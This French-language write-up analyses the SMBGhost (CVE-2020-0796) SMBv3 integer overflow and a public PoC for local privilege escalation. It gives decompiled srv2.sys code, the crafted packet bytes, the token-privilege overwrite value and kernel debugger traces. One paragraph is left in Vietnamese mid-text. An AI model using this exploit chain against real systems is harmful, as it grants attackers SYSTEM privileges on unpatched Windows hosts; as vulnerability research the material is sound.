
La fonctionnalité de compression ajoutée à SMBv3 depuis la version 1903 du système d'exploitation Windows 10/Server contient une vulnérabilité de débordement d'entier confirmée par Microsoft le 12/03/2020. Elle permet à un attaquant d'effectuer une élévation de privilèges locale (LPE) et une exécution de code à distance (RCE). Ici, nous ne parlerons que de la vulnérabilité LPE.
Versions affectées:
L'analyse du fichier srv2.sys montre que les fonctions liées à la décompression sont appelées comme suit:``` js
Srv2ReceiveHandler
|
|
v
Srv2DecompressMessageAsync
|
|
v
Srv2DecompressData -------> SrvNetAllocateBuffer
|
|
v
SmbCompressionDecompress
|
|
v
memcpy
Premièrement, la fonction `Srv2ReceiveHandler` est appelée pour recevoir un paquet de données SMB et appeler une fonction correspondant au protocole `ProtocolId`. Si `PrococolId` = 0x424D53FC, elle appelle la fonction `Srv2DecompressMessageAsync`, qui appelle ensuite la fonction `Srv2DecompressData` pour décompresser le paquet de données. La fonction `Srv2DecompressData` appelle la fonction `SrvNetAllocateBuffer` pour allouer un `Alloc` destiné à stocker les données après décompression, puis elle appelle la fonction `SmbCompressionDecompress` pour décompresser le paquet de données, et enfin elle appelle la fonction `memcpy`. Ainsi, l'ensemble du processus de décompression comporte les étapes principales suivantes :
- 1. Allocate
- 2. Decompress
- 3. Copy
Selon la documentation fournie par Microsoft, la structure `COMPRESSION_TRANSFORM_HEADER` est utilisée pour envoyer et recevoir des données compressées entre le client et le serveur. Elle a la structure suivante :``` c
typedef struct _COMPRESSION_TRANSFORM_HEADER
{
ULONG ProtocolId;
ULONG OriginalCompressedSegmentSize;
USHORT CompressionAlgorithm;
USHORT Flags;
ULONG Offset;
} ;
Ici, nous nous concentrons uniquement sur les 2 champs principaux ci-dessus :
OriginalCompressedSegmentSize est la taille du segment de données non compressé, en octets.Offset est le décalage, en octets, entre le point de départ des données compressées et le point de fin de la structure _COMPRESSION_TRANSFORM_HEADER.Ainsi, le paquet de données compressé se présente comme suit :
``` c
typedef struct _ALLOCATION_HEADER
{
// ...
PVOID UserBuffer;
// ...
} ALLOCATION_HEADER, *PALLOCATION_HEADER;
NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; }
ULONG FinalCompressedSize = 0;
NTSTATUS Status = SmbCompressionDecompress(
Header->CompressionAlgorithm,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
(ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
(PUCHAR)Alloc->UserBuffer + Header->Offset,
Header->OriginalCompressedSegmentSize,
&FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
if (Header->Offset > 0) {
memcpy(
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;
}
Analyse de la fonction `Srv2DecompressData` : on constate que la fonction reçoit un paquet de données compressées `COMPRESSION_TRANSFORM_HEADER` (Header), puis alloue une zone mémoire (Alloc) via la fonction `SrvNetAllocateBuffer` avec comme paramètre la somme `Header->OriginalCompressedSegmentSize` + `Header->Offset`, puis décompresse les données compressées et copie les données non compressées dans `Alloc->Buffer`.

L'erreur d'integer overflow se produit lorsque `Srv2DecompressData` appelle la fonction `SrvNetAllocateBuffer` ; cette dernière reçoit en réalité deux valeurs 64 bits, mais lors de l'appel à `SrvNetAllocateBuffer`, `Srv2DecompressData` ne lui transmet que deux valeurs 32 bits (ULONG). Or `OriginalCompressedSegmentSize` et `Offset` sont tous deux des ULONG ; lorsque on les additionne, le résultat peut dépasser 32 bits. C'est ainsi que se produit l'erreur d'integer overflow (pour faire simple, additionner 0xffffffff (`OriginalCompressedSegmentSize`) avec 0x10 (`Offset`) donne 0xf0000000f, mais la fonction `SrvNetAllocateBuffer` ne reçoit que la valeur 0x0000000f).

L'erreur d'integer overflow conduit à une allocation incorrecte de la zone mémoire Alloc (la taille à allouer est inférieure à la taille réelle), ce qui peut provoquer une erreur de buffer overflow :

Pour savoir si l'erreur de buffer overflow se produit réellement, et comment elle se produit, nous allons analyser les fonctions `SrvNetAllocateBuffer` et `SmbCompressionDecompress`.``` c
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer)
{
v2 = *MK_FP(__GS__, 420i64);
v3 = 0;
v4 = a2;
v5 = 0;
if ( SrvDisableNetBufferLookAsideList || allocSize > 0x100100 )
{
if ( allocSize > 0x1000100 )
return 0i64;
v11 = SrvNetAllocateBufferFromPool(allocSize, allocSize);
}
else
{
if ( allocSize > 0x1100 )
{
_RCX = allocSize - 256;
__asm
{
bsr rdx, rcx
bsf rax, rcx
}
if ( (_DWORD)_RDX == (_DWORD)_RAX )
v3 = _RDX - 12;
else
v3 = _RDX - 11;
}
v6 = SrvNetBufferLookasides[(unsigned __int64)v3];
v7 = *(_DWORD *)v6 - 1;
if ( (unsigned int)(unsigned __int16)v2 + 1 < *(_DWORD *)v6 )
v7 = (unsigned __int16)v2 + 1;
v8 = (unsigned int)v7;
v9 = *(_QWORD *)(v6 + 32);
v10 = *(_QWORD *)(v9 + 8 * v8);
if ( !*(_BYTE *)(v10 + 0x70) )
PplpLazyInitializeLookasideList(v6, *(_QWORD *)(v9 + 8 * v8));
++*(_DWORD *)(v10 + 20);
v11 = (unsigned __int64)ExpInterlockedPopEntrySList((PSLIST_HEADER)v10);
if ( !v11 )
{
++*(_DWORD *)(v10 + 24);
v12 = *(_DWORD *)(v10 + 44);
v13 = *(_DWORD *)(v10 + 40);
v14 = *(_DWORD *)(v10 + 36);
LODWORD(v15) = sub_1C00110B0(*(int (**)(void))(v10 + 48));
v11 = v15;
}
v5 = 2;
}
if ( v11 )
{
*(_WORD *)(v11 + 0x10) |= v5;
*(_WORD *)(v11 + 0x12) = v3;
*(_WORD *)(v11 + 0x14) = v2;
if ( v4 )
{
v24 = *(_DWORD *)(v4 + 0x24);
if ( v24 >= *(_DWORD *)(v11 + 0x20) )
v24 = *(_DWORD *)(v11 + 0x20);
v25 = *(void **)(v11 + 0x18);
*(_DWORD *)(v11 + 0x24) = v24;
memcpy(v25, *(const void **)(v4 + 0x18), v24);
v26 = *(_WORD *)(v4 + 0x16);
if ( v26 )
{
*(_WORD *)(v11 + 0x16) = v26;
memcpy((void *)(v11 + 0x64), (const void *)(v4 + 0x64), 0x10i64 * *(_WORD *)(v4 + 0x16));
}
}
else
{
*(_DWORD *)(v11 + 36) = 0;
}
}
return v11;
}
Le code ci-dessus est tiré du pseudocode d’IDA Pro, qui semble assez difficile à comprendre. Cependant, on peut le comprendre simplement en regardant le code réécrit par Zecops :``` c PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer) { // ...
if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) {
if (AllocSize > 0x1000100) {
return NULL;
}
Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize);
} else {
int LookasideListIndex = 0;
if (AllocSize > 0x1100) {
LookasideListIndex = /* some calculation based on AllocSize */;
}
SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex];
Result = /* fetch result from list */;
}
// Initialize some Result fields...
return Result;
}
La fonction `SrvNetAllocateBuffer` reçoit la taille à allouer, puis vérifie si cette taille est supérieure à `0x100100` ; si c'est le cas, elle retourne `NULL`. Cette fonction vérifie également la variable `SrvDisableNetBufferLookAsideList` ; toutefois, je n'ai trouvé aucun document mentionnant cette variable, et elle est définie à `0` par défaut, donc elle n'a probablement pas beaucoup d'importance.
Si la condition est satisfaite, la fonction calcule ensuite une valeur d'index basée sur `AllocSize` reçue en entrée, puis extrait une valeur du tableau `SrvNetBufferLookasides` (ce tableau contient 9 éléments) en fonction de l'index calculé, et procède à l'allocation. À partir du code assembleur, Zecops a utilisé `python` pour calculer les tailles correspondant à chaque index :``` py
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]
Ainsi, pour une demande d'allocation de taille inférieure ou égale à 0x1100, la fonction alloue une région mémoire de taille 0x1100 ; pour une demande de taille supérieure à 0x1100 et inférieure ou égale à 0x2100, elle alloue une région mémoire de taille 0x2100, et de même pour les demandes plus grandes.
Après l'allocation, la fonction retourne une adresse contenant une structure que Zcops a nommée ALLOCATION_HEADER. D'après les recherches, cette structure contient les données suivantes :

Un détail intéressant est que ALLOCATION_HEADER se trouve juste en dessous de ALLOCATION_HEADER->UserBuffer. Si l'on peut provoquer un buffer overflow sur UserBuffer, on peut alors écrire des valeurs arbitraires dans ALLOCATION_HEADER.

Ensuite, voyons ce que fait la fonction SmbCompressionDecompress :``` c
__int64 __fastcall SmbCompressionDecompress(int CompressionAlgorithm, __int64 DataCompressed, __int64 SizeCompressed, __int64 AllocUserbufferDecompress, unsigned int OriginalCompressedSegmentSize, __int64 FinalCompressedSize)
{
PVOID v6; // rdi@1
__int64 v7; // r14@1
__int64 v8; // r15@1
int v9; // ebx@2
int v10; // ecx@3
int v11; // ecx@4
signed __int16 v12; // bx@6
__int64 v13; // rsi@12
unsigned int v14; // ebp@12
int v16; // [sp+40h] [bp-28h]@1
SIZE_T NumberOfBytes; // [sp+70h] [bp+8h]@1
v16 = 0; v6 = 0i64; LODWORD(NumberOfBytes) = 0; v7 = AllocUserbufferDecompress; v8 = DataCompressed; if ( !CompressionAlgorithm ) goto LABEL_2; v10 = CompressionAlgorithm - 1; if ( v10 ) { v11 = v10 - 1; if ( v11 ) { if ( v11 != 1 ) { LABEL_2: v9 = 0xC00000BB; return (unsigned int)v9; } v12 = 4; } else { v12 = 3; } } else { v12 = 2; } if ( RtlGetCompressionWorkSpaceSize((unsigned __int16)v12, &NumberOfBytes, &v16) < 0 || (v6 = ExAllocatePoolWithTag((POOL_TYPE)512, 0i64, 0x2532534Cu)) != 0i64 ) { v13 = FinalCompressedSize; v14 = OriginalCompressedSegmentSize; v9 = RtlDecompressBufferEx2((unsigned __int16)v12, v7, OriginalCompressedSegmentSize, v8); if ( v9 >= 0 ) *(_DWORD *)v13 = v14; if ( v6 ) ExFreePoolWithTag(v6, 0x2532534Cu); } else { v9 = 0xC000009A; } return (unsigned int)v9; }
Le code ci-dessus provient du pseudocode d'IDA ; si vous ne comprenez pas ce que fait le code ci-dessus, vous pouvez consulter le code réécrit par Zecops :``` c
NTSTATUS SmbCompressionDecompress(
USHORT CompressionAlgorithm,
PUCHAR UncompressedBuffer,
ULONG UncompressedBufferSize,
PUCHAR CompressedBuffer,
ULONG CompressedBufferSize,
PULONG FinalCompressedSize)
{
// ...
NTSTATUS Status = RtlDecompressBufferEx2(
...,
FinalUncompressedSize,
...);
if (Status >= 0) {
*FinalCompressedSize = CompressedBufferSize;
}
// ...
return Status;
}
Hàm này cơ bản thực hiện giải nén data bị nén và lưu vào Alloc->UserBuffer + Offset. Nếu giải nén thành công, tham số FinalCompressedSize sẽ được gán bằng tham số CompressedBufferSize, là giá trị OriginalCompressedSegmentSize được truyền từ hàm Srv2DecompressData.
Quay trở lại hàm Srv2DecompressData, sau khi thực hiện hàm SmbCompressionDecompress, hàm sẽ tiếp tục so sánh giá trị FinalCompressedSize và OriginalCompressedSegmentSize có bằng nhau hay không, và Status trả về có < 0.``` c
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { // bypass
SrvNetFreeBuffer(Alloc);
return STATUS_BAD_DATA;
}
Comme mentionné ci-dessus, si la décompression réussit, `FinalCompressedSize` et `OriginalCompressedSegmentSize` seront égaux et le `Status` renvoyé sera supérieur ou égal à 0. Par conséquent, si la décompression réussit, le code dans la fonction if ci-dessus ne sera pas exécuté. Nous allons maintenant analyser le code suivant :``` c
if (Header->Offset > 0) {
memcpy( // copy raw data into UserBuffer
Alloc->UserBuffer,
(PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
Header->Offset);
}
Ce code vérifie que Header->Offset > 0. La valeur Offset correspond à l'écart entre la zone de données compressées et la fin de Header, ce qui équivaut à la taille de la zone de données non compressées. Ensuite, il appelle la fonction memcpy pour copier la zone de données non compressées au début de Alloc->UserBuffer.
Ainsi, s'il est possible d'exploiter le dépassement de tampon (buffer overflow) pour écraser la zone Alloc Header et modifier la valeur du pointeur Alloc->UserBuffer vers l'adresse A, cette adresse A contiendra les données non décompressées envoyées par le client. Pour être plus clair, nous allons analyser le POC de Daniel García Gutiérrez (@danigargu) et Manuel Blanco Parajón (@dialluvioso_), puis déboguer pour mieux comprendre.
Le POC effectue les opérations suivantes :
Récupère son propre token.
Crée un tableau buffer de taille 0x1110, place au début du tableau 0x1108 caractères 'A', puis y place la valeur [Token + 0x40] récupérée ci-dessus. Le but de cette opération sera expliqué plus tard.
Compresse les données du tableau buffer et les enregistre dans le tableau compressed_buffer.
Crée un tableau buf contenant les données suivantes :``` c
const uint8_t buf[] = {
/* NetBIOS Wrapper */
0x00,
0x00, 0x00, 0x33,
/* SMB Header */
0xFC, 0x53, 0x4D, 0x42, /* protocol id */
0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */
0x02, 0x00, /* compression algorithm, LZ77 */
0x00, 0x00, /* flags */
0x10, 0x00, 0x00, 0x00, /* offset */
};
- Ensuite, créez un tableau `packet` de taille : `sizeof(buf) + 0x10 + len`, où `len` est la taille de `buffer` après compression ci-dessus (la taille des **données** de `compressed_buffer`).
- Copiez les données du tableau `buf` dans `packet`, puis copiez la valeur `0x1FF2FFFFBC` dedans, et ensuite les données du tableau `compressed_buffer` :``` c
memcpy(packet, buf, sizeof(buf));
*(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC;
*(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC;
memcpy(packet + sizeof(buf) + 0x10, compressed_buffer, len);
packet au serveur SMB.Ci-dessous, j'expliquerai les points délicats du POC mentionné ci-dessus.
Pourquoi le tableau buffer doit-il être créé avec une taille de 0x1110 octets, et contenir 0x1108 caractères A ainsi qu'une valeur [token + 0x40]. Dans l'ensemble, le but de ce POC est d'utiliser les fonctions de SMB pour modifier la valeur de token->Privileges de son propre jeton ([Token + 0x40]).
Dans l'en-tête SMB, on s'intéresse à l'original decompressed size et à l'Offset, qui valent respectivement 0xffffffff et 0x00000010. Le but est de faire subir à SMB un integer overflow, ce qui conduit à allouer un tableau Alloc->Buffer d'une taille de seulement 0x1100 (< 0x1110 + Raw data size).
La valeur 0x1FF2FFFFBC stockée dans les 0x10 octets après l'en-tête est une valeur enregistrée dans token->Privileges->Present et token->Privileges->Enabled d'un processus SYSTEM ; autrement dit, si un processus a token->Privileges->Present et token->Privileges->Enabled égaux à 0x1FF2FFFFBC, ce processus aura les privilèges d'un processus SYSTEM.
À partir des informations ci-dessus, on peut supposer que le POC cherche à faire en sorte que les fonctions de SMB modifient les valeurs token->Privileges->Present et token->Privileges->Enabled de son jeton pour les définir à 0x1FF2FFFFBC. Pour être sûr, nous allons passer à la partie debug du noyau.
Tout d'abord, on place un breakpoint au début de la fonction Srv2DecompressData```` 0: kd> bm srv2!Srv2DecompressData 1: fffff80717c47e60 @!"srv2!Srv2DecompressData"
0: kd> bl
1 e Disable Clear fffff807`17c47e60 0001 (0001) srv2!Srv2DecompressData
Ensuite, exécutez le POC, la fonction `Srv2DecompressData` sera appelée, le kernel s'arrêtera au début de la fonction `srv2!Srv2DecompressData`.
Examinez maintenant les données du Header :```
1: kd> dd ffffd10e92347c10
ffffd10e`92347c10 424d53fc ffffffff 00000002 00000010
ffffd10e`92347c20 f2ffffbc 0000001f f2ffffbc 0000001f
ffffd10e`92347c30 403fffff 0f000741 701104ff 8dafb9e7
ffffd10e`92347c40 00ffffae 00000000 00000000 00000000
Ce sont les données du tableau packet que le POC a envoyées à SMB, comme analysé dans le POC ci-dessus : les 0x10 premiers octets correspondent à l'en-tête SMB (SMB Header), les 0x10 octets suivants contiennent deux fois la valeur 0x1FF2FFFFBC comme données brutes, et les 0x13 octets suivants sont les données du buffer compressé. Ainsi, la taille totale de l'en-tête est de 0x33 octets.
En arrivant au moment où la fonction SrvNetAllocateBuffer est appelée pour examiner les paramètres passés, on constate bien que la fonction SrvNetAllocateBuffer reçoit les paramètres 0xf et null.

La valeur retournée par la fonction SrvNetAllocateBuffer est un pointeur vers une structure ALLOCATION_HEADER (selon l'appellation utilisée dans cet article).```
1: kd> dd rax
ffffd10e94729150 ca9a7573 417b1178 32fe5f70 dc85f193 ffffd10e94729160 00000002 00000001 94728050 ffffd10e
ffffd10e`94729170 00001100 00000000 00001278 75881029

Ensuite, la fonction `SmbCompressionDecompress` sera appelée : elle décompressera et écrira les données décompressées dans `Alloc->Buffer + Header->Offset`.```
1: kd> dd ffffd10e94728050
ffffd10e`94728050 1050118b 3318f0fa 00000000 00000000
ffffd10e`94728060 41414141 41414141 41414141 41414141
ffffd10e`94728070 41414141 41414141 41414141 41414141
...
ffffd10e`94729150 41414141 41414141 41414141 41414141
ffffd10e`94729160 41414141 41414141 afb9e770 ffffae8d
ffffd10e`94729170 00001100 00000000 00001278 75881029
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x00000006`02880000
+0x008 Enabled : 0x800000
+0x010 EnabledByDefault : 0x40800000

À ce stade, Alloc->Buffer a été écrasé avec l'adresse [Token + 0x40]. La fonction Srv2DecompressData appelle memcpy(Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset); pour copier les données brutes dans Alloc->UserBuffer. Cependant, Alloc->UserBuffer a été écrasé avec Token->Privileges, donc les données brutes seront écrites dans Token->Privileges :```
1: kd> dt _sep_token_privileges ffffae8dafb9e770
nt!_SEP_TOKEN_PRIVILEGES
+0x000 Present : 0x0000001ff2ffffbc +0x008 Enabled : 0x0000001ff2ffffbc
+0x010 EnabledByDefault : 0x40800000

À ce stade, le programme POC dispose des privilèges SYSTEM. L'étape suivante consiste à lancer un processus SYSTEM (winlogon.exe) et à injecter un shellcode qui ouvre cmd.
# Références
[SMB2 COMPRESSION_TRANSFORM_HEADER](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0)
[Exploiting SMBGhost (CVE-2020-0796) for a Local Privilege Escalation: Writeup + POC](https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/)
[CVE-2020-0796 Windows SMBv3 LPE Exploit POC Analysis](https://paper.seebug.org/1165/)
[Token Abuse for Privilege Escalation in Kernel](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/how-kernel-exploits-abuse-tokens-for-privilege-escalation)
<p align="right">
<b><i>DatntSec. Viettel Cyber Security.<i><b>
</p>